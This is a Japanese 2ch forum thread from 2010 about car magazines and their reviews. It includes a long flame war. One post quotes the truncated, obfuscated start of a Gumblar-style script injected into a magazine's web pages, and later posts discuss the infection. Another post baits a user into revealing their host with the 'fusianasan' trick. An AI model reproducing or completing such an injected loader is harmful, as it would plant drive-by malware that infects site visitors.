766 :名無しさん@そうだドライブへ行こう:2010/05/01(土) 18:05:01 ID:g1pjNrLP0
一頃のべストカーみたく三菱のマンセーがひどいねw

パッソでトヨタ叩くと子会社のダイハツを間接的に叩いてるときがついて無いw
大好きなダイハツなのに、親会社トヨタも同じように愛してやれw

767 :名無しさん@そうだドライブへ行こう:2010/05/01(土) 18:13:36 ID:OrZI2pMR0
最近はダイハツもコテンパンに叩かれるだろ。何を読んでるんだ。

768 :名無しさん@そうだドライブへ行こう:2010/05/01(土) 19:13:10 ID:w1gv9rVUP
>>743
インフィニティQ45

769 :名無しさん@そうだドライブへ行こう:2010/05/01(土) 23:04:44 ID:ZJ37UenO0
>>743
センチュリー、i

770 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 01:05:05 ID:el+jAcek0
>>764
次のスカイラインは、リアサスペンションが現行フーガで導入されたものに一新されるからね。

フロントサスはV35から改良されたものだけど、リアサスはY34セドグロ時代のものを手直ししたもの。
導入されたY34時代ですら、リアサスはあまり評価されてなかった。
http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB:NISSAN_Cedric.jpg

パッケージはV35で一新されたけど、リアサスだけが残ってしまっていた。



771 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 01:12:52 ID:el+jAcek0
>>765
V36はいいよね。
北米市場でBMWと争うことを目標に造ってあるせいか、
無茶苦茶ボディに金かかってる。




ただ、価格もバブルの頃のR32GT−R並になっちまったがw

772 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 01:40:05 ID:o7pzdjnv0
>>771
290万のベースグレードで十分だよ
あれはお買い得だ

773 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 01:40:53 ID:ul3w9Dp/P
VW賞賛は同意するけどね
速さと燃費の両立は凄いし
他社が捨てた技術も育てて市場に出してる

本来ならトヨタや日産がやるべき事をやってる
まあ日本の顧客はDSGの低速ショックがクレームになるからな…
GT-Rで発進時のショックが不快なんて言うレベルだし

日本メーカーは縛りが多くて実力を出せないのが勿体無いよ

774 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 02:17:47 ID:el+jAcek0
そういや、ベストカーで「大評判のVW」、とか特集しているな
こういう記事が出るってことは、評論家先生の間でも相当評判が良いってことだよ。

775 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 08:43:20 ID:FcDMYm3z0
>>773
そもそもショックってないほうがいいものかな

776 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 08:51:50 ID:gZL8L9pf0
結局は「大評判のVW」で
特大爺の引力圏からいつまで抜けけられないことに
自分たちも気が付いて無い

777 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 08:53:06 ID:gZL8L9pf0
小「特大爺」が増殖してるわけだw

778 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 18:16:47 ID:7oC3sedF0
VWは燃費がいいって言ってもハイオクだしな。
低速のショックも考えると日本ではねえ。
あと値段とか考えると評論家の論点は一般人と違うなあと感じる


779 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 18:30:30 ID:pTvFyXam0
「特大爺」のメルセデスとディーゼルエンジンが好きなのは終始一貫してるw

780 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 18:32:04 ID:pTvFyXam0
日本にメルセデス教を広めた教祖

781 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 19:22:25 ID:hqdppOkx0
>>778
自己満足に100万円だせるかどうかだね。
出したい人は出せば良いし、差額を別に使いたい人はそうすればよい。

小特大爺さんたちは、いまだに他人を見下すアイテムにもしようとしてるのが
アレだけどね。

782 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 20:23:11 ID:zhg1/2n80
結局、いいものであっても金が出せないんじゃん。

いいもの作れだの、作れないだのさんざんほざいているけど、
てめーが金出せないようじゃあな。

給料少ないけど、いいものだから高くても買いました
ぐらい言えよ。
そうじゃないと、そもそもメーカーもいいもの作れないだろ

783 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 21:42:27 ID:NpEDubAi0
>>782
俺はゴルフVI買っちゃった。
給料は少ないけどw

784 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 22:47:49 ID:P9kyTlDn0
ドイツ車を過大評価するヤツってさあ、
不思議とどいつも大きなコンプレックスを
持ってるもんなんだよなvw

785 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 22:59:38 ID:WMEFZUep0
>>780
メルツェデスなw

786 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 23:24:51 ID:NpEDubAi0
>>784
なんだ、このコンプレックス丸出しの書き込みはw

787 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 23:29:23 ID:rLf3+byX0
>>782
DSGはその”いいもの”ではないからでしょ?
日本の評論家は絶賛し、MAG−Xは欧州ではDSGが主流なんて言っているけど
現実は欧州でDSGは不人気ですから


788 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 23:35:03 ID:NpEDubAi0
このスレで、発売日(26日)直後に粘着しているのはCG信者かw
CG本スレに誤爆しているみたいだねw↓


550 名無しさん@そうだドライブへ行こう 2010/05/01(土) 23:42:43 ID:nRvOeNzm0
リコール隠しの三菱をマンセーしてるようじゃ信用度ゼロ
マンセーは三菱のリコール隠しの総括を終えてからのしろ

「しばらくすればお客さんは事件を忘れてしまう。平気ですよ。」
そのままコレじゃないかw

http://namidame.2ch.net/test/read.cgi/car/1268323757/550

789 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 23:38:16 ID:NpEDubAi0
>>787
不人気つーか、欧州ではDSGは結局、トルコンATの代替としてしか認められず、
環境問題もあって、やっぱりMTが必要ってことになりつつあるんじゃなかったっけ?(by 福野礼一郎)

790 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 23:54:58 ID:NpEDubAi0
>>778
欧州のガソリンは、オクタン価が異なるものが3種類あるからね。

低オクタン価(91前後)、中オクタン価(95前後)、高オクタン価(98前後)の3種類があり、
中オクタン価ガソリンが約8割のシェアを持っている。
欧州ではこの中オクタン価ガソリンが日本のレギュラーガソリンに相当する位置づけ。
なお、日本のレギュラーガソリン(90程度)に近い低オクタン価ガソリンのシェアは極めて低く、販売すらしていないガソリンスタンドも多い。

よって、ほとんどの欧州車は日本ではハイオク指定となっている。


791 :名無しさん@そうだドライブへ行こう:2010/05/02(日) 23:55:03 ID:MK6Uz36G0
ドイツは最近AT率が上がってきてるよ
フェラーリやランボルギーニもMTの生産はやめると発表したし
今後はどんどんAT率が上がっていくだろう

792 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 05:29:33 ID:1wBVv9bN0
この中でドイツのことをちゃんと知ってるヤツってどんだけいるのかねw
ドイツ語どの程度理解できるのかね。
どこに住んでたのかな。どの程度歴史を知ってんのかね。
奥さんがドイツ人とか。
なんか面白いよなw



793 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 08:14:09 ID:0qIzN7df0
>>790
それは知ってる。
でも、だから日本ではハイオク仕様で売るのはしょうがないってのが
評論家思想なんだよ。
一般人からいうと、燃費をちょっと良くするぐらいなら、その前にまず
レギュラー仕様にしろってのが普通だろ。
評論家のそういう論点は見たことがない。
総括なんか日本車が同じことすると、めちゃくちゃつっこまれると思うぞ。


794 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 08:27:32 ID:55UlGln50
なんでそんなにレギュラーにこだわるのかが理解できない
10円/Lの差しかないのに
10m/Lで1万km走って1万円の差しか出ないんだぞ

年間1万や2万でごちゃごちゃ言ってる奴に輸入車なんて買えないから
そんな指摘をする意味はない

795 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 08:30:52 ID:JIDv0zem0
>>793
「一台一台ではガソリン使用量の微々たる違いだけれども全体では膨大な違いになる。
ドイツメーカーでは地球環境の保全という視点で敢えてハイオク仕様にしている。」
って書いてあったよ。


796 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 09:44:35 ID:1wBVv9bN0
>>795
何語で書いてあった?
日本のHPはあてにならんよ。


797 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 09:54:11 ID:nWAdo7yM0
>>796
輸入車の代理店か何かだろうて。

方便を真に受ける人が居るから・・・

798 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 13:57:35 ID:1wBVv9bN0
あははは。そりゃあ、ご愁傷様なことで。
英語もドイツ語もろくすっぽできないのが、
低俗車雑誌や代理店の無知な坊やの言うことを
真に受けるってことですな。

それで、ドイツ車が良いとか言うんだから、
これはもうお笑い種としか言いようがvw

799 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 15:17:36 ID:su91Wr4y0
パッソの総括に書いてあった
サスペンションの話の、ザックスの「お客様しだいです(笑)」てどういう意味なの・・・?

800 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 15:18:37 ID:iJmbppKN0
>>793
>一般人からいうと、燃費をちょっと良くするぐらいなら、その前にまず
>レギュラー仕様にしろってのが普通だろ。

燃費を良くする理由が「エコロジー」ではなく、「エコノミー」であることがよく分かるねw

話を元に戻すと、こればかりはメインの市場環境が違う以上どうしようもない。
そのリスクを許容出来る人しか買えないのが欠点だな、正直なところ。

まあ、BMWの535iGTに搭載された新型エンジン(ターボ&バルブトロニック)は、
実は日本仕様の低オクタン価レギュラーガソリン使用OKになったそうだから、
(何故か、取説にはハイオク指定になってるらしいがw)
そのうちVWも対応させてくるかもね。

>>794
ある意味正しいw

801 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 15:22:34 ID:iJmbppKN0
>>799
名門ブランド製のダンパーと言えども、
あれこれ細かい注文に縛られてると、国産と比べても大したものには仕上がらない、てことでしょ。

802 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 15:26:22 ID:iJmbppKN0
784 名無しさん@そうだドライブへ行こう sage 2010/05/02(日) 22:47:49 ID:P9kyTlDn0
ドイツ車を過大評価するヤツってさあ、
不思議とどいつも大きなコンプレックスを
持ってるもんなんだよなvw

792 名無しさん@そうだドライブへ行こう sage New! 2010/05/03(月) 05:29:33 ID:1wBVv9bN0
この中でドイツのことをちゃんと知ってるヤツってどんだけいるのかねw
ドイツ語どの程度理解できるのかね。
どこに住んでたのかな。どの程度歴史を知ってんのかね。
奥さんがドイツ人とか。
なんか面白いよなw

798 名無しさん@そうだドライブへ行こう sage New! 2010/05/03(月) 13:57:35 ID:1wBVv9bN0
あははは。そりゃあ、ご愁傷様なことで。
英語もドイツ語もろくすっぽできないのが、
低俗車雑誌や代理店の無知な坊やの言うことを
真に受けるってことですな。
それで、ドイツ車が良いとか言うんだから、
これはもうお笑い種としか言いようがvw



なんか知らんがドイツ車を深く恨んでいるんだなw
心に傷を負っているのだろうか?

803 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 15:47:09 ID:7NpCRAAQ0
ドイツのことを知らんとドイツ車に乗れないとか何言ってるんだろうな。
北海道の農家なんか、アメリカもイギリスもフランスもドイツもイタリアも
ろくに知らないが、連中の作業機やトラクターをバリバリ使ってるよ。
そして、国産は華奢だから使えないとかすぐ壊れる(連中は大体無理するから)
という。
別に国なんて知らなくても、知識と経験さえあればわかるでしょって話。

804 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 16:41:33 ID:1wBVv9bN0
>>802
いや。私はドイツ車に乗ってるのだがvw
しかも、それが分かるようにしてあるんだがねえ。

>>803
ざっと読んだが、ドイツのことを知らんとドイツ車に乗れない、
とか言ってる書き込みはこのスレッドには見あたらないようだな。
キミの場合、英語、ドイツ語に加えて国語もできないクチかねvw


805 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 17:23:30 ID:iJmbppKN0
>>804
俺もドイツ車に乗っているのだがvw

「どこに住んでたのかな。」「どの程度歴史を知ってんのかね。」「奥さんがドイツ人とか。」
そんなことを言ってる人は、まずお目にかかれないので珍しかったんだよvw

お気に障ったようなら悪かったねvw


806 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 17:33:05 ID:iJmbppKN0
>>803
>ドイツのことを知らんとドイツ車に乗れないとか何言ってるんだろうな。
アメリカのことを知るには密航するしかない!と黒船に乗り込もうとして捕まった人と同じ発想だよなw
馬鹿らしいw

807 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 17:43:22 ID:7NpCRAAQ0
>>804
俺もまたドイツ車に乗っているのだがvw

貴方の書き込みを読んでると、ドイツのことを知らないとドイツ車に乗る資格が
無いとしか読み取れないんだけども。
ドイツ語や英語を知らないと、自分が乗ってる車の批評もしちゃいかんと?
文字的側面でしか突っ込めない貴方より、よっぽどドイツ人の気質は知ってるよ。
仕事柄毎日ドイツ人と一緒だし、連中とのやりとりも多いからね。
英語なんて出来て当然、ドイツ語もある程度理解していないと仕事にならんし。

上っ面の言語でどうとかいう突っ込みしかできないのはみっともないよ。

808 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 17:59:30 ID:7UmphfPg0
上記が、自動車板で典型的な見下し合戦です。

809 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 18:46:51 ID:iJmbppKN0
見下すだのどうだの、馬鹿らしいvw

810 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 18:52:52 ID:1wBVv9bN0
おおっw。ふふふふふっ。釣れてる。釣れてるよっw
少数派だけど、やっぱりいるんだな。
コンプレックスの塊のドイツ車乗り。
>>ID:iJmbppKN0
>>ID:7NpCRAAQ0

ご丁寧に、誰も言ってないことを言いだして、自分のコンプレックスを
自分でまとめて大暴露ってか。おめでてえな、おいっw
ドイツ車マンセーの評論家もこの程度のレベルw
この程度のオッサンどもが、訳も分からずドイツ車は良いいっっ、、、、
とか言ってるから滑稽なんだよなw バカらしくて面白いわw


811 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 19:11:20 ID:rrH7htRA0
ID:1wBVv9bN0 お前がナンバー1だ・・・

812 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 19:23:41 ID:iJmbppKN0
「後釣り宣言」

ネット上での発言に突っ込まれたり間違いを指摘されたりしたとき、素直に非を認めず、
「さっきの発言は釣り。やーいひっかかった」などと涙目で言って相手を馬鹿にすることで保身を図る行為。
要は単なる負け惜しみであって、周りからは一層笑われる。後釣り宣言はかえって傷口を広げるだけである。

http://dic.nicovideo.jp/a/%E5%BE%8C%E9%87%A3%E3%82%8A%E5%AE%A3%E8%A8%80



813 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 19:38:31 ID:1wBVv9bN0
>>812 ID:iJmbppKN0
一生懸命探したのねvw だけど残念だったね。後で意味づけ、悲しいねvw
残念ながらお前はオレの言ったことには何も突っ込めてないんで、
それは当てはまらないんだよなあvw 残念だったね〜ヴァっはははvw
オレが言ってないことをお前が勝手に持ち出してきて、
自分で自分にツッコミを入れたんだよっと。。。これが真実だあvw

そして、なぜお前はそのようなことをするハメになったのか。
それは、お前のコンプレックスが、コンプレックスのない人には
見えないものや読み取れないものをオレの書いたキーワードの中から
お前に読み取らせたからだよvw 分かるかなあ〜vw
かなり重度のコンプレックスをお持ちのようで。ご愁傷さまあ〜vw


814 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 20:29:05 ID:iJmbppKN0
>一生懸命探したのねvw 
すぐ見つかったよw

>オレが言ってないことをお前が勝手に持ち出してきて、
え?どこにそんな書き込みがw

>自分で自分にツッコミを入れたんだよっと。。。これが真実だあvw
意味が分からんw

>そして、なぜお前はそのようなことをするハメになったのか。
>それは、お前のコンプレックスが、コンプレックスのない人には
>見えないものや読み取れないものをオレの書いたキーワードの中から
>お前に読み取らせたからだよvw 分かるかなあ〜vw
>かなり重度のコンプレックスをお持ちのようで。ご愁傷さまあ〜vw

まさに負け犬の遠吠えw

815 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 20:38:21 ID:1wBVv9bN0
>>814  ID:iJmbppKN0
お前には難しかったようだなvw えっ?
お前さあ、調子に乗ってvwを真似してたのに、もう止めたの?
自分に自信がないから、そうやって一貫性がない人生なんだぞvw
まあでも、自分で負けを負け犬の遠吠えと表現したのは評価してやるぞvw
よし、よしっとvwvwvw

816 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 20:41:52 ID:iJmbppKN0
おいおいw
まだ自称ドイツ車乗り、ドイツコンプレックス丸出しのID:1wBVv9bN0は暴れるのかw

そろそろスレ違いだし、ほどほどにしておけw


817 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 20:48:05 ID:1wBVv9bN0
>>816
まあ、泣くなvw
そのIDは最後のNOしか合ってないぞvw
なにあわててんだvw ID:iJmbppKN0だろjk
自問自答乙vw

818 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 20:51:19 ID:7NpCRAAQ0
>>816
ウンコに触るとウンコが付くからやめた方が良いよ。
ウンコだって分かったんだし、放置しておくのが良い。

別にドイツ車ばっかり乗ってきた訳じゃないし。
昔のトヨタは良かったと思う。パワステとか無かったけど。
いすゞやHondaにも乗ってみたけど、それなりに味わいがあった。
今の選択肢はドイツ車(自分はトゥーラン)だったってだけで
足だけならプジョーが良かったんだがなあ。

819 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 20:53:24 ID:iJmbppKN0
>>817
なかなか認めないねえw

コンプレックスのない人は、私にここまで絡まないよw
分かるかなあ〜vw

820 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 20:55:23 ID:1wBVv9bN0
などと、819が ID:iJmbppKN0にいうとりますvw

821 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 20:55:24 ID:iJmbppKN0
>>818
暇つぶしで遊んであげていたが以後、自重する
正直、スレ汚しすまんかった。

822 ::2010/05/03(月) 20:57:23 ID:1wBVv9bN0
よし。今回は許してやるが、以後気をつけるようにvw


823 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 21:58:39 ID:iJmbppKN0
>>822
君に謝ってはいないよw

824 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 22:11:57 ID:iJmbppKN0
>>818
旧車のミーティングによく行くけど
カローラとかサニーとかチェリーとか、大事に乗ってる人多いんだよね。
今のパッソとかカローラが、20年〜30年後にああなるとは想像できないw

まあ、車への憧れが当時と今とではまるで違う、と言えばそれまでなんだが。

825 :名無しさん@そうだドライブへ行こう:2010/05/03(月) 22:13:17 ID:1wBVv9bN0
>>823 ID:iJmbppKN0
まあ良い。そんなに取り乱すなvw
良く反省して、今後は気をつけて分相応な生活を送りなさい。
お前は、まだまだ未熟者だということだvw

まあ、良かったじゃないか。自分の深層心理を知れて。
とてつもないコンプレックスを抱えて生きている。
恥ずかしい人生。まあ良いではないか。能力は人それぞれだからな。
劣っていること自体は恥ずかしいことではない。
しかし、語学はきちんと勉強しておいた方が良いなvw


826 :名無しさん@そうだドライブへ行こう:2010/05/04(火) 00:21:29 ID:jNEDGjJ70
test

827 :名無しさん@そうだドライブへ行こう:2010/05/04(火) 00:24:22 ID:jNEDGjJ70
おお書き込めたw

>>770
今月号に次期スカイラインの予想が載ってたけど、
あんな感じ(3.7gエンジン廃止→ターボ付3.0gエンジン搭載)になればいいなあ・・・・


828 :名無しさん@そうだドライブへ行こう:2010/05/04(火) 00:51:40 ID:xbPO8XUa0
保守

829 :名無しさん@そうだドライブへ行こう:2010/05/04(火) 09:55:10 ID:5h4pyOsZ0
>>827
2.5のスーパーチャージャー&ターボだともっとうれしいな
現行の3.7Lとかないわー

830 :名無しさん@そうだドライブへ行こう:2010/05/04(火) 10:48:04 ID:3MDIfxyW0
>>829
VQ25HRを直噴にして、スーパーチャージャー+ターボ?
VWのエンジンでさえうるさいとか何とか言われてるみたいだし、
スーパーチャージャー+ターボは望み薄な気がする。
メカニズムとしては凄く面白そう。

831 :名無しさん@そうだドライブへ行こう:2010/05/04(火) 12:51:37 ID:Cc1LGf1n0
もし有料会員がいたら確認してもらいたいのだが、

http://www.mag-x.com/magx/nifty/charge/0412_1/index.html

http://www.mag-x.com/magx/nifty/charge/0412_2/index.html

これはガンブラーウイルスだよな?

末尾に下記のようなスクリプトが書き加えられているんだが
<script>/*Exception*/ document.write('<script src='+'h)t(!t(!)@p):$!^)/^$$/)!@@i@))#&n(($)t&)#e(#!l(!&-&#c^#o^

832 :名無しさん@そうだドライブへ行こう:2010/05/04(火) 18:05:03 ID:dUIGrqrB0
http://sankei.jp.msn.com/photos/economy/it/100111/its1001111801001-p1.htm

833 :名無しさん@そうだドライブへ行こう:2010/05/04(火) 22:08:05 ID:xsO1F5jY0

The SOUKATSU members remain silent about the Prius brake problem in this month's issue.
Does they have reasons for not wanting to say anything about it? Tell me what's going on!


834 :名無しさん@そうだドライブへ行こう:2010/05/05(水) 02:20:23 ID:89qmfW1X0
Correct the mistakes, if any, in the above sentences.

835 :名無しさん@そうだドライブへ行こう:2010/05/05(水) 08:45:27 ID:yqfRpYQH0
ふー。
恥ずかしいヤツらだ。

836 :名無しさん@そうだドライブへ行こう:2010/05/05(水) 17:19:13 ID:0+0P22ij0
ゴールデンウイークがこんな過ごし方とは。。。
正しいとかなんてどうでもよくてとにかく暗いぞ、あんたら

>>833
× Does they
○ Do they
低脳は慣れぬことをせぬほうがいい
低脳は神ちゃんの専売だしね

837 :名無しさん@そうだドライブへ行こう:2010/05/05(水) 18:00:18 ID:d1eAPWAPO
Is that you, John Wayne? Is this me?

838 :名無しさん@そうだドライブへ行こう:2010/05/05(水) 18:25:21 ID:AnYsApgK0
>>837
hey
input "fusianasan" on name field.

839 :名無しさん@そうだドライブへ行こう:2010/05/05(水) 18:52:45 ID:d1eAPWAPO
>>838
No thank you!!

840 :名無しさん@そうだドライブへ行こう:2010/05/06(木) 01:22:29 ID:UznFFKyn0
色々と文句を言うヤツはドイツだ!!

なんちゃって。(古いか?)

841 :名無しさん@そうだドライブへ行こう:2010/05/06(木) 05:55:28 ID:ougtux/t0
【審議中】
    |∧∧|       (( ) )   (( ) )  ((⌒ )
 __(;゚Д゚)___   (( ) )   (( ⌒ )  (( ) )
 | ⊂l >>840 l⊃|    ノ火.,、   ノ人., 、  ノ人.,、
  ̄ ̄|.|.  .|| ̄ ̄   γノ)::)  γノ)::)   γノ)::) 
    |.|=.=.||       ゝ人ノ  ゝ火ノ   ゝ人ノ
    |∪∪|        ||∧,,∧ ||∧,,∧  ||  ボォオ
    |    |      ∧ (´・ω・) (・ω・`) ∧∧
    |    |      ( ´・ω) U) ( つと ノ(ω・` )
   ~~~~~~~~     | U (  ´・) (・`  ). .と ノ
              u-u (    ) (   ノ u-u
                  `u-u'. `u-u'

842 :名無しさん@そうだドライブへ行こう:2010/05/06(木) 13:09:27 ID:5Zq++S2S0
      (ヽ、 _ヽ、  )\     ヽヽ
     _ヽ、     ⌒  ヽ、     \\
     \ ̄     __    )ノ     ヽヽ
    ∠⌒     / )    ⌒ヽ     | |
     )   / ゙̄- く       \   ノノ
    /  /ノ^)___)ノl       ヽ_//
   /   //(/ !_|_|       ヽ三ヽ
   レヘ  |j(/l_/    |ノヽ      |──)
    ノ (/l_/  /⌒| | | |  !   |二 二ヽ
  /   |_/__| |  | -| | ノノ    ノ── 、)
  /    `───| | ノ -| |   |/(())   ヽ
 /⌒) ∧    ヽ/_//  /j()ノ_   (()) i
    // ノ     |_// / ̄ ̄`\ (())  j
      (ヘ       ̄   |   ヽ   \   /
       )/(/) / ⌒ |⌒ヽ |\  /i\ /|   )ヽ
            |/      |    !  / | ノ |  ( (
     )ヽ           |  /  /  ( ((|   ) ヽ
    (  )           |  / /    ヽ|  (   )
    ) (      、    /  ) |ヽ、_ __ ノ   )  (
   (   ヽ    ((   /  /−、|        (   ヽ
(    )   )    )ヽ  ヽ_ノ |  |   ヽ   ノ     )
 )  (    (   ノ  )     |   |  ( (  (      (
 (_ ノ     )(  ( (    / /^)  ) )  )
               )  / / /  (  ( _ノ
                 (/__/   )

843 :名無しさん@そうだドライブへ行こう:2010/05/06(木) 18:01:19 ID:vxjPE3lO0
xがプリウス特集のムックを出したが、ABS動作時の挙動実験に失敗していて笑える
ABS動作一つ引き起こせないなんて‥ 

844 :名無しさん@そうだドライブへ行こう:2010/05/08(土) 00:42:10 ID:MNLWEcdT0
ガンブラー攻撃が常態化、トレンドマイクロ、4月のウイルス感染・報告ランキング
ttp://headlines.yahoo.co.jp/hl?a=20100507-00000021-inet-secu

845 :名無しさん@そうだドライブへ行こう:2010/05/08(土) 09:06:08 ID:OLMxGUcC0
もうここんちにアクセスしないほうがいいよ
危険すぎ

846 :名無しさん@そうだドライブへ行こう:2010/05/09(日) 19:04:44 ID:bRBScp6c0
ブログにお越しの際は、ガンブラー攻撃でお待ちしています

847 :名無しさん@そうだドライブへ行こう:2010/05/10(月) 14:24:25 ID:Z+wPpLoC0
現行プリウスの回に、エスティマハイブリが★5つて書いてあったんだけど
本もってないからわからない
なんて褒められてたの?

848 :名無しさん@そうだドライブへ行こう:2010/05/11(火) 21:33:47 ID:N+oIjv+fP
端的に言うと、
効率性重視で、実質2tの車で総括メンバーの平均燃費13.4km/l。
誰が運転しても市街地で10km/l行く。
で、5つ星。

849 :名無しさん@そうだドライブへ行こう:2010/05/11(火) 23:54:48 ID:KW4cDwSG0
>>845
個人ブログにも劣るいい加減なセキュリティの所に
クレジット情報、個人情報をさらすなんて・・・怖

850 :名無しさん@そうだドライブへ行こう:2010/05/12(水) 11:48:36 ID:tcbW6mTc0
Gumblar
出典: フリー百科事典『ウィキペディア(Wikipedia)』
ttp://ja.wikipedia.org/wiki/Gumblar

Gumblar(ガンブラー)とは「Webサイト改ざん」と「Web感染型ウイルス(Webサイトを閲覧するだけで感染するウイルス)」を組み合わせて、
多数のパソコンをウイルスに感染させようとする攻撃手法(手口)のことである。
同攻撃に関連するマルウェアを指す意味でも多用されるが、どの範囲のマルウェアを指すのかはメディアによって様々である。
Gumblarによって、国内外で Webサイトの改ざん被害が相次いでいる。

日本国内においては、別名でGENOウイルス(ジェノウイルス)と呼ばれている。

851 :名無しさん@そうだドライブへ行こう:2010/05/13(木) 06:20:11 ID:fbNXnFrH0
全部レベル低いなw
記事も、記事書いてるヤツも、構成も、サイトのセキュリティーも全部。
それから、読者もなwww

852 :名無しさん@そうだドライブへ行こう:2010/05/13(木) 08:19:18 ID:RDiI5wWs0
つまりお前もかw

853 :名無しさん@そうだドライブへ行こう:2010/05/13(木) 08:34:56 ID:qXYWx3bL0
ジェノウイルスのレベルは高い

854 :名無しさん@そうだドライブへ行こう:2010/05/13(木) 11:20:21 ID:3j+Fh9QO0
【出版】二玄社、自動車雑誌編集から撤退…『カーグラフィック(CAR GRAPHIC)』新体制に [10/05/10]
http://anchorage.2ch.net/test/read.cgi/bizplus/1273681498/

855 :名無しさん@そうだドライブへ行こう:2010/05/13(木) 11:41:22 ID:XVujR57PP
最終的に行き着くところが電気自動車だとすると、
ハイブリでデータを蓄積しておくことは大きなアドバンテージなんだよね

856 :名無しさん@そうだドライブへ行こう:2010/05/13(木) 11:50:12 ID:J+dB+T0t0
暴露ウイルスでデーターを集める

857 :名無しさん@そうだドライブへ行こう:2010/05/13(木) 21:45:21 ID:NySOoj0z0
男性差別
http://ja.wikipedia.org/wiki/%E7%94%B7%E6%80%A7%E5%B7%AE%E5%88%A5

858 :名無しさん@そうだドライブへ行こう:2010/05/14(金) 08:42:37 ID:VZ+Ujk7X0
一度さ、「度重なるウイルスばらまき、猛省を望む」記事を
自分たちで作ってみてほしいよ。
パロディにでもしてさ

そんな技量はないわけだけど、謝罪釈明はしてほしいよな。
言っていることとやっていることが大きくかけ離れている事実をさ

859 :名無しさん@そうだドライブへ行こう:2010/05/14(金) 09:54:38 ID:RC8VXoyK0
2ch完全終了か!? 誹謗中傷を行った30人が弁護士によりIP開示、そして刑事告訴へ
http://tsushima.2ch.net/test/read.cgi/news/1273490738/

860 :名無しさん@そうだドライブへ行こう:2010/05/14(金) 23:02:52 ID:Tt7JGz3Y0
>>858 まったくだな。
ニュース性ゼロの北京モーターショーの写真なんか載せてないで
編集長と部下の不倫写真でも表紙に掲載してみたらw

前回のウイルスばら撒きも
ここのスレで騒ぎになったから渋々認めたって感じだし。
スクープ情報提供者が警察に逮捕されたなんて話は
嬉々としてブログに書くくせに、
能書きだけは一丁前で、中の人の都合が悪い件は隠蔽だもんな。

861 :名無しさん@そうだドライブへ行こう:2010/05/15(土) 00:33:50 ID:ooDI7lc0P
>>860
>編集長と部下の不倫写真でも表紙に掲載してみたら

内部の編集者限定の内輪ネタだねw
そんなもん俺らが見て喜べるわけねえだろw

それより新生CGをさっさとなんとかしろよ



862 :名無しさん@そうだドライブへ行こう:2010/05/15(土) 22:41:03 ID:KkYtYNgk0
でも、あの写真は伝説の名作だと思うよ

今でもことあるごとに話題になるしね。

あんなさらされ者、あとにも先にもなし

863 :名無しさん@そうだドライブへ行こう:2010/05/16(日) 00:03:30 ID:cmBNokvT0
CGスレでも、編集部の内輪ネタ書き込んで一人で盛り上がっているアホがいたなw

根暗なヤツが多いんだろなw


864 :名無しさん@そうだドライブへ行こう:2010/05/16(日) 15:40:19 ID:2Rpkd2w20
まあ、たかが三流車雑誌社の編集ふぜい。
その程度でしょ。

865 :名無しさん@そうだドライブへ行こう:2010/05/16(日) 21:53:32 ID:zbteQ47H0
リコール隠しの三菱にコビるようではお仕舞

866 :名無しさん@そうだドライブへ行こう:2010/05/16(日) 22:24:09 ID:vYU+jRPs0
三菱マンセーのベストカーのお株を奪ったら駄目だろw

867 :名無しさん@そうだドライブへ行こう:2010/05/17(月) 12:12:22 ID:2DgVtox8P
>前回のウイルスばら撒きも
>ここのスレで騒ぎになったから渋々認めたって感じだし。

>でも、あの写真は伝説の名作だと思うよ
>今でもことあるごとに話題になるしね。
>あんなさらされ者、あとにも先にもなし

この人、2chの過疎スレで何やってんのwww

868 :名無しさん@そうだドライブへ行こう:2010/05/17(月) 23:51:43 ID:o4WoZVx50
新創刊してもまったく売れてないな

869 :名無しさん@そうだドライブへ行こう:2010/05/18(火) 12:28:28 ID:HjbXeU1P0
MAG-X口蹄疫(こうていえき)はどうなったのかな


